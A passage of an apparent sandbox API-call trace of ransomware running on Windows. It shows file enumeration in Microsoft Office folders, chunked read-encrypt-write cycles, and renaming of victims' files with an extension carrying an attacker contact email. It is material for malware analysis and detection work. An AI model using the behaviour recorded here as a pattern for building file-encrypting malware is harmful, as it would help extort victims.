	[0091.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x150c
	[0091.329] GetFileSizeEx (in: hFile=0x150c, lpFileSize=0x185bf708 | out: lpFileSize=0x185bf708*=148586) returned 1
	[0091.329] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x24466, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.329] ReadFile (in: hFile=0x150c, lpBuffer=0x185bf68c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x185bf688, lpOverlapped=0x0 | out: lpBuffer=0x185bf68c*, lpNumberOfBytesRead=0x185bf688*=0x4, lpOverlapped=0x0) returned 1
	[0091.332] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319c0
	[0091.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731c68
	[0091.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47318a8
	[0091.332] NtQuerySystemTime (in: CurrentTime=0x185bf668 | out: CurrentTime=0x185bf668*=132251868180721193) returned 0x0
	[0091.332] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x39e30a27
	[0091.332] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x92b69ceb
	[0091.332] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x597d7ce4
	[0091.332] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xbcd4748b
	[0091.332] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x34c45234
	[0091.332] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x2e54fa0b
	[0091.332] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x5c6886de
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x6ef54e3a
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x22fc991
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x9275be87
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xadf49b74
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x2b2e5dac
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xe30caf1e
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xbee631bb
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xad1f9468
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x226b7598
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xc457c5
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xf03e76c5
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x82e470bd
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xbbd8e213
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xa1d96110
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xed2f408
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x6a39999d
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x16c0250
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x98916282
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xfd523daf
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x42b9f059
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x258f2562
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x169a0c20
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0x9b21ecf6
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xdf4e16af
	[0091.333] RtlRandom (in: Seed=0x185bf674 | out: Seed=0x185bf674) returned 0xba917dc2
	[0091.342] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.342] ReadFile (in: hFile=0x150c, lpBuffer=0x50a4888, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x185bf648, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x185bf648*=0xc800, lpOverlapped=0x0) returned 1
	[0091.352] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb078
	[0091.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83120
	[0091.352] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0091.352] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0091.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50bd898
	[0091.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731830
	[0091.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83120) returned 1
	[0091.354] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb078) returned 1
	[0091.354] WriteFile (in: hFile=0x150c, lpBuffer=0x50bd898*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x185bf648, lpOverlapped=0x0 | out: lpBuffer=0x50bd898*, lpNumberOfBytesWritten=0x185bf648*=0xc800, lpOverlapped=0x0) returned 1
	[0091.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50bd898) returned 1
	[0091.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dac318
	[0091.358] SetFilePointerEx (in: hFile=0x150c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.358] WriteFile (in: hFile=0x150c, lpBuffer=0x481e698*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x185bf6c8, lpOverlapped=0x0 | out: lpBuffer=0x481e698*, lpNumberOfBytesWritten=0x185bf6c8*=0x131, lpOverlapped=0x0) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e698) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac058) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac318) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731c68) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318f8) returned 1
	[0091.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491bff8
	[0091.363] wcscpy (in: _Dest=0x491bff8, _Source="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml"
	[0091.363] wcscat (in: _Dest=0x491bff8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x185bf680, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmui.msi.16_accessmui.mcxml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x4716ae0
	[0091.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716ae0) returned 1
	[0091.364] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0091.364] NtQueryInformationFile (in: FileHandle=0x150c, IoStatusBlock=0x185bf68c, FileInformation=0x185bf664, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x185bf68c, FileInformation=0x185bf664) returned 0x0
	[0091.364] NtSetInformationFile (FileHandle=0x150c, IoStatusBlock=0x185bf68c, FileInformation=0x185bf664, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491bff8) returned 1
	[0091.365] FlushFileBuffers (hFile=0x150c) returned 1
	[0093.273] CloseHandle (hObject=0x150c) 

Thread:
	id = 647
	os_tid = 0x1948

	[0078.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2e176c8
	[0078.171] wcscpy (in: _Dest=0x2e176c8, _Source="C:\\Program Files\\Microsoft Office\\root\\Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16") returned="C:\\Program Files\\Microsoft Office\\root\\Office16"
	[0078.171] wcscat (in: _Dest=0x2e176c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\"
	[0078.171] wcscat (in: _Dest=0x2e176c8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\*"
	[0078.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2320
	[0078.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87838
	[0079.960] wcscmp (_String1=".", _String2=".") returned 0
	[0079.960] FindNextFileW (in: hFindFile=0x2d87838, lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.964] wcscmp (_String1="..", _String2=".") returned 1
	[0079.964] wcscmp (_String1="..", _String2="..") returned 0
	[0079.964] FindNextFileW (in: hFindFile=0x2d87838, lpFindFileData=0x47a2320 | out: lpFindFileData=0x47a2320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0079.964] wcscmp (_String1="1033", _String2=".") returned 1
	[0079.964] wcscmp (_String1="1033", _String2="..") returned 1
	[0079.964] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x47532f0
	[0079.964] wcscpy (in: _Dest=0x47532f0, _Source="C:\\Program Files\\Microsoft Office\\root\\Office16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16") returned="C:\\Program Files\\Microsoft Office\\root\\Office16"
	[0079.964] wcscat (in: _Dest=0x47532f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\"
	[0079.964] wcscat (in: _Dest=0x47532f0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033"
	[0092.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2d83288
	[0092.169] wcscpy (in: _Dest=0x2d83288, _Source="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033"
	[0092.169] wcscat (in: _Dest=0x2d83288, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\"
	[0092.169] wcscat (in: _Dest=0x2d83288, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*"
	[0092.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5030f10
	[0092.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b6a8
	[0092.172] wcscmp (_String1=".", _String2=".") returned 0
	[0092.172] FindNextFileW (in: hFindFile=0x477b6a8, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.177] wcscmp (_String1="..", _String2=".") returned 1
	[0092.177] wcscmp (_String1="..", _String2="..") returned 0
	[0092.177] FindNextFileW (in: hFindFile=0x477b6a8, lpFindFileData=0x5030f10 | out: lpFindFileData=0x5030f10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3dba42, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1
	[0092.177] wcscmp (_String1="ACCESS12.ACC", _String2=".") returned 1
	[0092.177] wcscmp (_String1="ACCESS12.ACC", _String2="..") returned 1
	[0092.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x84) returned 0x476e6f8
	[0092.178] wcscpy (in: _Dest=0x476e6f8, _Source="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033"
	[0092.178] wcscat (in: _Dest=0x476e6f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\"
	[0092.178] wcscat (in: _Dest=0x476e6f8, _Source="ACCESS12.ACC" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC"
	[0092.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc")) returned 0x220
	[0092.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC", dwFileAttributes=0x20) returned 1
	[0092.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\access12.acc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1478
	[0092.179] GetFileSizeEx (in: hFile=0x1478, lpFileSize=0x1863f794 | out: lpFileSize=0x1863f794*=495616) returned 1
	[0092.179] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x78ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.179] ReadFile (in: hFile=0x1478, lpBuffer=0x1863f718, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1863f714, lpOverlapped=0x0 | out: lpBuffer=0x1863f718*, lpNumberOfBytesRead=0x1863f714*=0x4, lpOverlapped=0x0) returned 1
	[0092.193] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0092.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.193] NtQuerySystemTime (in: CurrentTime=0x1863f6f4 | out: CurrentTime=0x1863f6f4*=132251868189315112) returned 0x0
	[0092.193] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xc7eba9ca
	[0092.193] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x15e2af33
	[0092.193] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xc3b5267b
	[0092.193] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x49c4bd6d
	[0092.193] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x159dc6e3
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xadd4f394
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x7de9db87
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x26d8ff3c
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x2f8eb4df
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xe0fcdbeb
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x10b6ebb3
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x5394e476
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x533bacfa
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x5479ae79
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x44421134
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x9d9b92bf
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xe0a9f905
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x89081c59
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x25d91bb1
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xbf82f7ab
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x289b7324
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x445db1c
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x3d9b463c
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x93e6452
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x8183acbe
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x42d4f09b
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xe3101701
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x52652559
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x4a2bf8f0
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x4dec70d2
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0x89a65c6
	[0092.194] RtlRandom (in: Seed=0x1863f700 | out: Seed=0x1863f700) returned 0xec1be46b
	[0092.202] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.202] ReadFile (in: hFile=0x1478, lpBuffer=0x50d68a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1863f6ac, lpOverlapped=0x0 | out: lpBuffer=0x50d68a8*, lpNumberOfBytesRead=0x1863f6ac*=0xc800, lpOverlapped=0x0) returned 1
	[0092.206] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb078
	[0092.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0092.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0092.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50e30b0
	[0092.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0092.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0092.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0092.207] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb078) returned 1
	[0092.207] WriteFile (in: hFile=0x1478, lpBuffer=0x50e30b0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1863f6ac, lpOverlapped=0x0 | out: lpBuffer=0x50e30b0*, lpNumberOfBytesWritten=0x1863f6ac*=0xc800, lpOverlapped=0x0) returned 1
	[0092.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50e30b0) returned 1
	[0092.212] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.212] ReadFile (in: hFile=0x1478, lpBuffer=0x50d68a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1863f6ac, lpOverlapped=0x0 | out: lpBuffer=0x50d68a8*, lpNumberOfBytesRead=0x1863f6ac*=0xc800, lpOverlapped=0x0) returned 1
	[0092.225] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfafa0
	[0092.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04018
	[0092.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0092.226] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50fc0c0
	[0092.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731bf0
	[0092.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bf0) returned 1
	[0092.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0092.239] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfafa0) returned 1
	[0092.239] WriteFile (in: hFile=0x1478, lpBuffer=0x50fc0c0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1863f6ac, lpOverlapped=0x0 | out: lpBuffer=0x50fc0c0*, lpNumberOfBytesWritten=0x1863f6ac*=0xc800, lpOverlapped=0x0) returned 1
	[0092.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50fc0c0) returned 1
	[0092.305] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x6c800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.305] ReadFile (in: hFile=0x1478, lpBuffer=0x50d68a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1863f6ac, lpOverlapped=0x0 | out: lpBuffer=0x50d68a8*, lpNumberOfBytesRead=0x1863f6ac*=0xc800, lpOverlapped=0x0) returned 1
